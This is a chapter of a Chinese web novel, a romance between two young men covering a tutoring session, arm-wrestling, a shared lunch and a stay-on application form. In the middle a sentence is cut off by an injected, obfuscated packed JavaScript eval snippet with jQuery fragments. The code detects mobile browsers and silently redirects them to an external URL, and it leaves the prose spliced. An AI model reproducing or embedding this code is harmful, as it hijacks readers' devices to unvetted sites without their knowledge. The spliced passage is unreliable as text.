被一个男的夸可爱正常吗?
当然不。
但秦方好在补习和避嫌之间选择了前者,反正詹皆明也就随口一说,不敢拿他怎么样。
进入寒假,约好的补习正式开始,地点还在都会园公寓内。
詹皆明带秦方好一边过知识点一边练题,但秦方好每次的学习耐心仅能维持一个小时左右,一小时后非得找点事出来惹他不痛快。
一点都不乖。
秦方好题没写完就说:“我们来比掰手腕吧?看谁的力气大。”
詹皆明神色淡然:“你和我比?”
“把你比的喊我爹,敢不敢?”
詹皆明右手翻着书,伸出了左手,手臂流畅的肌肉线条隐隐浮现。
秦方好吹了口气,额前碎发飘起来几缕,瞳仁清澈干净。
“我是左撇子,你用左手跟我比?”
詹皆明将书翻过一页,淡声:“用哪只手没区别。”
瞧不起谁,秦方好下套道:“输了你喊我爹。”
“嗯。”
秦方好的设想是,他要通过力气大、讲粗话、讨人嫌等手段来证明自己并不可爱,以彻底颠覆詹皆明对他那么点不切实际的印象。
是,就这么在意。
秦方好捋起袖子,正要搭上詹皆明手心时,动作顿了顿,抽出一张纸垫着才搭上去。
“你别误会。”秦方好解释,“我本来就不喜欢和别人有太多接触。”
詹皆明目光落在比他小了半圈的手上,喉结滚动说:“知道。”
一张薄薄的纸巾没起什么作用。
秦方好掌心温热,手指搭在詹皆明手背上,干燥柔软。
皮肤碰到皮肤,两种温度交融在一起,詹皆明体感像一块浇注了温水的冰,丝丝冒着难忍的烫意。
“一二三!”
秦方好喊完口令,迅速往下掰。
詹皆明刚才稍微晃了神,反应过来时,手掌已被掰弯几分。
秦方好唇边的笑容随着詹皆明被掰下去的手腕而扩大,眼看即将把那只手彻底压下去时,一股强大的力气突然稳稳撑住了秦方好的手,托举着他手往回去,不退分毫。
整个过程没有很快,是缓慢的、拉扯的。
詹皆明神情游刃有余,连翻着书的右手都没有挪动过一点距离。
秦方好往对面看了眼,不爽道:“詹皆明,你耍我玩?”
詹皆明气定神闲:“喜欢耍人不是你么?”
小心眼!!
还记着上次爽约的事呢。
秦方好的左手被詹皆明彻底压下去,死死摁在桌面上,磕的手背都红了。
他轻嘶口气,耍赖:“我刚没说我输了要喊你爹。”
“那算了。”詹皆明压根没想听。
“但我可以喊你其他的。”秦方好还算有点竞技精神,“我可以喊你哥。”
秦方好左手挣了挣,想让詹皆明把压着的手给挪开。
詹皆明没动,而是说:“多一个字。”
“什么?喊你大哥?”秦方好不情愿,“你把谁当小弟呢?”
詹皆明语调轻缓地纠正:“喊哥哥。”
……
几秒内,秦方好耳尖红透了,又一次想挣脱左手。
詹皆明加了点力气,沉声问:“不喊吗?”
好像秦方好不喊,他不会轻易松开手了。
秦方好脑袋偏向一边,屈辱地咬牙切齿喊:“哥、哥。”
草!下回!!
他非让詹皆明当孙子!!!
詹皆明轻笑着嗯了声,松开手:“乖,写题吧。”
秦方好故意不听话:“不写了,手疼。”
马上要到中午十二点。
秦方好摸出手机:“中午吃什么?点外卖吗?”
詹皆明合上书本,捏着鼻梁放松:“你点,我下楼吃。”
“楼下没好吃的,外卖也不健康,不然……”
“嗯?”
秦方好沉住气:“不然我们吃泡面?”
詹皆明不说话了,显然没答应。
“那或者……你做饭给我吃吧。”
真实意图暴露无遗。
冰箱里的食材都是昨天阿姨过来买的,秦方好又添了几样自己爱吃的。知道詹皆明会来,他特意把冰箱塞得满满当当,只等詹皆明顺水推舟应下,他就要开始报菜名了。
没想到詹皆明直接回:“不做。”
“我饿。”秦方好改换战术,胡搅蛮缠,“你做吧。”
“不做。”
“做吧做吧做吧!”
“……”
忽地,詹皆明伸手掐住秦方好脸颊,让他无法再清楚地说出那个字眼。
秦方好脸颊软肉被修长手指掐出薄薄粉色,长睫不安地眨了几下。几次想尝试说话,就会不小心咬到自己,于是嘴里只能发出些含混的嘟囔。
“做……吧……”
詹皆明眉头微蹙起,目光凌厉:“你很烦。”
秦方好想抿唇,但很困难,只能用舌头顶顶颊侧,顶到詹皆明的指腹。
詹皆明眼底闪过微妙情绪,迅速收回手。
秦方好吞咽了一下问:“我不可爱吗?”
詹皆明说:“烦。”
“那你之前说我有点可爱。”
“错觉。”
詹皆明没有再看秦方好一眼。
他垂在身侧的双手握成拳攥紧,指节透出淡淡的青白色,像在竭力隐忍。
秦方好顾不上脸疼,笑容难以自持。
计划通!
他就是烦,跟可爱一点不沾边!
秦方好继续追问:“做不做?”
詹皆明往厨房走,被烦到不行的样子。
“我要吃上次那个鸡翅和排骨!”秦方好冲他背影喊,然后把手机收藏的菜谱一键转发,“还有几道菜做法发你链接了,食材冰箱里都有新鲜的。”
“多放点辣椒!”
“你不吃辣的话,就分开盛一碗出来。”
詹皆明一句话也不应。
但秦方好觉得自己很贴心了,居然有天还能记得别人的忌口。他和顾思齐一块儿长大二十年了,还是不太清楚顾思齐喜欢什么、讨厌什么,却记下了詹皆明吃不惯辣。
肯定是詹皆明破了的嘴唇让他印象深刻!
秦方好没去厨房添乱,饿着肚子把题目写完,直到詹皆明喊他才去洗手准备吃饭。
餐桌上,詹皆明连米饭都一并盛好,还倒了杯秦方好爱喝的柳橙汁,可惜柳橙汁从冰箱里拿出来太久,喝下去一点也不凉快。
秦方好放下杯子,拿筷子吃饭。
而詹皆明从坐到对面起,就一直低着头回消息。
秦方好不乐意了:“食不言。”
詹皆明抬起眼,扬扬眉梢,表示没说话。
秦方好昂着下巴:“微信聊天也不行。”
又是那个可恶的纯白色头像!
詹皆明拿手机起身:“我有事,你先吃。”
“你坐下。”秦方好不想一个人吃饭。
“我去书房,借
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629370|206312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
用一下打印机。”
他看起来真有事,秦方好闷闷哦一声,夹了个鸡翅埋头啃。
半小时过去。
詹皆明事还没办完,秦方好都吃饱了。
秦方好跟进书房,看见詹皆明坐在书桌前,正低头填写一张表格。表格要填的内容太多,黑色笔迹占据一大片视线,上方标题黑体印刷着“寒假留校申请表”。
“帮我补习耽误你回家过年了吗?”
“没有。”
秦方好莫名愧疚:“你家不在A市?”
“在南方。”詹皆明没细说,“小城市。”
“那你寒假不回去?”
“不回。”
表格已填到最后一项家长签名。
秦方好马上跃跃欲试:“这我帮你签。”
詹皆明很没幽默细胞地开了个玩笑:“还想着当我爹?”
秦方好无辜反问:“弟弟不能代签吗?”
詹皆明把笔交给他:“你签,詹勇。”
秦方好不推辞,大手一挥签了个名字。
签完他还评价:“你爸妈给你取的名字比他们名字好听多了。”
“我名字不是他们取的。”
“那就是爷爷奶奶、外公外婆?”
詹皆明冷漠说:“不知道。”
留校申请并不包括整个寒假,从除夕到初七,学校员工回家过新年,仍需要清校。
秦方好注意到申请表下方这行小字时,撞撞詹皆明肩膀说:“既然你不回去,除夕到初七就住我这儿吧,反正过两天我就回家过年了,这里也空着。”
“不用。”
“你住呗,正好我家阿姨这段时间也回老家过年,这里没人打扫。”
詹皆明依然拒绝:“我到外面租房。”
“花这钱干嘛?创业阶段,每分钱都来之不易!你不许乱花钱!”
“我花自己的钱。”詹皆明无奈。
“你的钱不就是我的钱!”
秦方好这就开始不分你我了。
好在詹皆明对这句话没什么特别反应,像是默认。
秦方好转移话题:“你是想跟女朋友租房过二人世界吗?”
詹皆明皱眉:“没有。”
秦方好不确定:“男朋友?”
詹皆明看着秦方好:“没有。”
“暧昧对象?”
那双黑眸继续盯着秦方好看:“没有。”
秦方好别开眼,嘀咕:“那你和纯白色聊这么多。”
“纯白色?”
“就那个纯白色微信头像。”
詹皆明了然:“他是寝室长,给我转发学校通知,有问题?”
这回换秦方好呆呆说:“没有。”
詹皆明回到餐桌吃饭,刚已经吃饱的秦方好又盛了小半碗米饭。他吃饭很慢,细嚼慢咽,吃到再好吃的也是一小口一小口地往嘴里送,但眼睛会眯成月牙,上翘的眼尾弧度跟着收敛。
詹皆明端起水杯喝水,发现杯子空了,又若无其事地放下。
秦方好出于好意说:“你换个头像吧,不然和你们寝室长很像情头。”
一个纯白色,一个深黑色。
寝室里其他两人都不会想歪的吗。
詹皆明不在乎这些:“不换。”
秦方好表情认真:“我是为你好,要是别人误会你同性恋怎么办?”
詹皆明摩挲着水杯,从玻璃倒影里隐约看见一张漂亮乖巧的脸。
“误会就误会,真的假不了。”他喉结一滚,心里话脱口而出。